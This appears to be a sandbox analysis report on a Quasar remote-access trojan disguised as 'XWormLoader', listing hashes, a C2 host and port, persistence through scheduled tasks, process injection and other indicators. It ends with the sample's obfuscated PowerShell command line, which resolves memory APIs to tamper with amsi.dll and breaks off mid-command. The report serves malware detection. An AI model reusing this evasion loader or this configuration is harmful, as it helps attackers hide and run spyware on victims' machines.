quasar | 40c49ccfb00bd4ca02d587af4f03823650dde39b5fe31dcde8bbdc3fa508bea3

General

Target

XWormLoader 5.2 x64.exe
Size

329KB
MD5

893ee266eef0ca3b11bdb859839df69d
SHA1

1d2eeab0c7ae7e9ec180017d8092f23abbea6d2b
SHA256

40c49ccfb00bd4ca02d587af4f03823650dde39b5fe31dcde8bbdc3fa508bea3
SHA512

694843c573f2aeec876eaa0ef329268553cde23cc4fdced9371041c3df097eec00b44894423ee00a7c9a1444f0bb17a089cb48c5430dfdaafa1265e5cd1b85f5
SSDEEP

6144:HfPtIkJwV7LtIgxfUFdLdassJFxgXS+vK5Qav9qm:HflXJwFmmUFdLs9H51

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes

encryption_key
AqYe7s30CMq7SVM0oxKR
install_name
Discord.exe
log_directory
Logs
reconnect_delay
1000
startup_key
Discord
subdirectory
Discord

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\svchost.exe	family_quasar
behavioral1/memory/4644-17-0x00000000008F0000-0x000000000095C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 4708 created 584 4708 powershell.EXE winlogon.exe
PID 1456 created 584 1456 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

svchost.exeXWormLoader 5.2 x32.exeDiscord.exeinstall.exeinstall.exe

pid process

4644 svchost.exe
4908 XWormLoader 5.2 x32.exe
1224 Discord.exe
2120 install.exe
4316 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

9 raw.githubusercontent.com
10 raw.githubusercontent.com
19 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com

description	pid	process	target process
PID 4708 created 584	4708	powershell.EXE	winlogon.exe
PID 1456 created 584	1456	powershell.EXE	winlogon.exe

pid	process
4644	svchost.exe
4908	XWormLoader 5.2 x32.exe
1224	Discord.exe
2120	install.exe
4316	install.exe

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
19	raw.githubusercontent.com

flow	ioc
4	ip-api.com

Drops file in System32 directory 8 IoCs

Processes:

OfficeClickToRun.exepowershell.EXEsvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77Discord.exe	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 4708 set thread context of 4472	4708	powershell.EXE	dllhost.exe
PID 1456 set thread context of 4328	1456	powershell.EXE	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4224 4908 WerFault.exe XWormLoader 5.2 x32.exe
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exe

pid process

4668 schtasks.exe
4928 SCHTASKS.exe
1688 schtasks.exe
4320 SCHTASKS.exe

pid	pid_target	process	target process
4224	4908	WerFault.exe	XWormLoader 5.2 x32.exe

pid	process
4668	schtasks.exe
4928	SCHTASKS.exe
1688	schtasks.exe
4320	SCHTASKS.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5EBEFE70-DFDA-4E14-92CD-1F42C9391953}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3088 PING.EXE

pid	process
3088	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exeDiscord.exe

pid	process
4708	powershell.EXE
4708	powershell.EXE
4708	powershell.EXE
4708	powershell.EXE
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
1224	Discord.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
1224	Discord.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
1224	Discord.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
1224	Discord.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3396 Explorer.EXE

pid	process
3396	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 35 IoCs

Processes:

svchost.exepowershell.EXEDiscord.exedllhost.exesvchost.exeExplorer.EXEpowershell.EXEdllhost.exe

description	pid	process
Token: SeDebugPrivilege	4644	svchost.exe
Token: SeDebugPrivilege	4708	powershell.EXE
Token: SeDebugPrivilege	1224	Discord.exe
Token: SeDebugPrivilege	4708	powershell.EXE
Token: SeDebugPrivilege	4472	dllhost.exe
Token: SeAuditPrivilege	2472	svchost.exe
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeDebugPrivilege	1456	powershell.EXE
Token: SeDebugPrivilege	1456	powershell.EXE
Token: SeDebugPrivilege	4328	dllhost.exe
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE
Token: SeShutdownPrivilege	3396	Explorer.EXE
Token: SeCreatePagefilePrivilege	3396	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

XWormLoader 5.2 x64.exesvchost.exeDiscord.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2452 wrote to memory of 4644	2452	XWormLoader 5.2 x64.exe	svchost.exe
PID 2452 wrote to memory of 4644	2452	XWormLoader 5.2 x64.exe	svchost.exe
PID 2452 wrote to memory of 4644	2452	XWormLoader 5.2 x64.exe	svchost.exe
PID 2452 wrote to memory of 4908	2452	XWormLoader 5.2 x64.exe	XWormLoader 5.2 x32.exe
PID 2452 wrote to memory of 4908	2452	XWormLoader 5.2 x64.exe	XWormLoader 5.2 x32.exe
PID 2452 wrote to memory of 4908	2452	XWormLoader 5.2 x64.exe	XWormLoader 5.2 x32.exe
PID 4644 wrote to memory of 4668	4644	svchost.exe	schtasks.exe
PID 4644 wrote to memory of 4668	4644	svchost.exe	schtasks.exe
PID 4644 wrote to memory of 4668	4644	svchost.exe	schtasks.exe
PID 4644 wrote to memory of 1224	4644	svchost.exe	Discord.exe
PID 4644 wrote to memory of 1224	4644	svchost.exe	Discord.exe
PID 4644 wrote to memory of 1224	4644	svchost.exe	Discord.exe
PID 4644 wrote to memory of 2120	4644	svchost.exe	install.exe
PID 4644 wrote to memory of 2120	4644	svchost.exe	install.exe
PID 4644 wrote to memory of 2120	4644	svchost.exe	install.exe
PID 4644 wrote to memory of 4928	4644	svchost.exe	SCHTASKS.exe
PID 4644 wrote to memory of 4928	4644	svchost.exe	SCHTASKS.exe
PID 4644 wrote to memory of 4928	4644	svchost.exe	SCHTASKS.exe
PID 1224 wrote to memory of 1688	1224	Discord.exe	schtasks.exe
PID 1224 wrote to memory of 1688	1224	Discord.exe	schtasks.exe
PID 1224 wrote to memory of 1688	1224	Discord.exe	schtasks.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4708 wrote to memory of 4472	4708	powershell.EXE	dllhost.exe
PID 4472 wrote to memory of 584	4472	dllhost.exe	winlogon.exe
PID 4472 wrote to memory of 640	4472	dllhost.exe	lsass.exe
PID 4472 wrote to memory of 740	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 904	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 992	4472	dllhost.exe	dwm.exe
PID 4472 wrote to memory of 368	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 372	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 592	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1096	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1108	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1184	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1216	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1236	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1252	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1396	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1428	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1472	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1540	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1580	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1600	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1680	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1720	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1756	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1772	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1848	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1856	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 1940	4472	dllhost.exe	spoolsv.exe
PID 4472 wrote to memory of 1992	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2144	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2236	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2472	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2492	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2580	4472	dllhost.exe	sihost.exe
PID 4472 wrote to memory of 2588	4472	dllhost.exe	svchost.exe
PID 4472 wrote to memory of 2660	4472	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:992

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{b7ed216d-36c9-4799-9373-e801882d34a0}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2e2f3f37-3868-43d0-99a9-e46554d2d109}
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:904

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:368

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:592

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1096

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1108

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2876

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kDafqIzcVOZr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dNJlpaIqkcJJOz,[Parameter(Position=1)][Type]$MYcnqmmqBr)$yOpGEbWgkBi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+'D'+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+'D'+''+'e'+''+'l'+''+'e'+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+'S'+'e'+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$yOpGEbWgkBi.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$dNJlpaIqkcJJOz).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+'d');$yOpGEbWgkBi.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'ke','P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+'eBy'+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+'l'+'o'+''+'t'+','+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$MYcnqmmqBr,$dNJlpaIqkcJJOz).SetImplementationFlags(''+'R'+''+'u'+''+'n'+'ti'+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+'ed');Write-Output $yOpGEbWgkBi.CreateType();}$tnmxbiJhbugcG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+'tiv'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$igKlxdWSgQjiSu=$tnmxbiJhbugcG.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+'ro'+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](83)+'t'+[Char](97)+'t'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YZNYqkjNuIGkcAYiiRk=kDafqIzcVOZr @([String])([IntPtr]);$EwWqUOKINAEcWwSeVRgfKU=kDafqIzcVOZr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FrfownYyaSe=$tnmxbiJhbugcG.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+'el'+'3'+''+[Char](50)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')));$jWDCycmIrTcRTW=$igKlxdWSgQjiSu.Invoke($Null,@([Object]$FrfownYyaSe,[Object](''+[Char](76)+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$APlxsjdhGyvfAmovr=$igKlxdWSgQjiSu.Invoke($Null,@([Object]$FrfownYyaSe,[Object]('V'+'i'+'rt'+'u'+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$BSwitSz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jWDCycmIrTcRTW,$YZNYqkjNuIGkcAYiiRk).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+'ll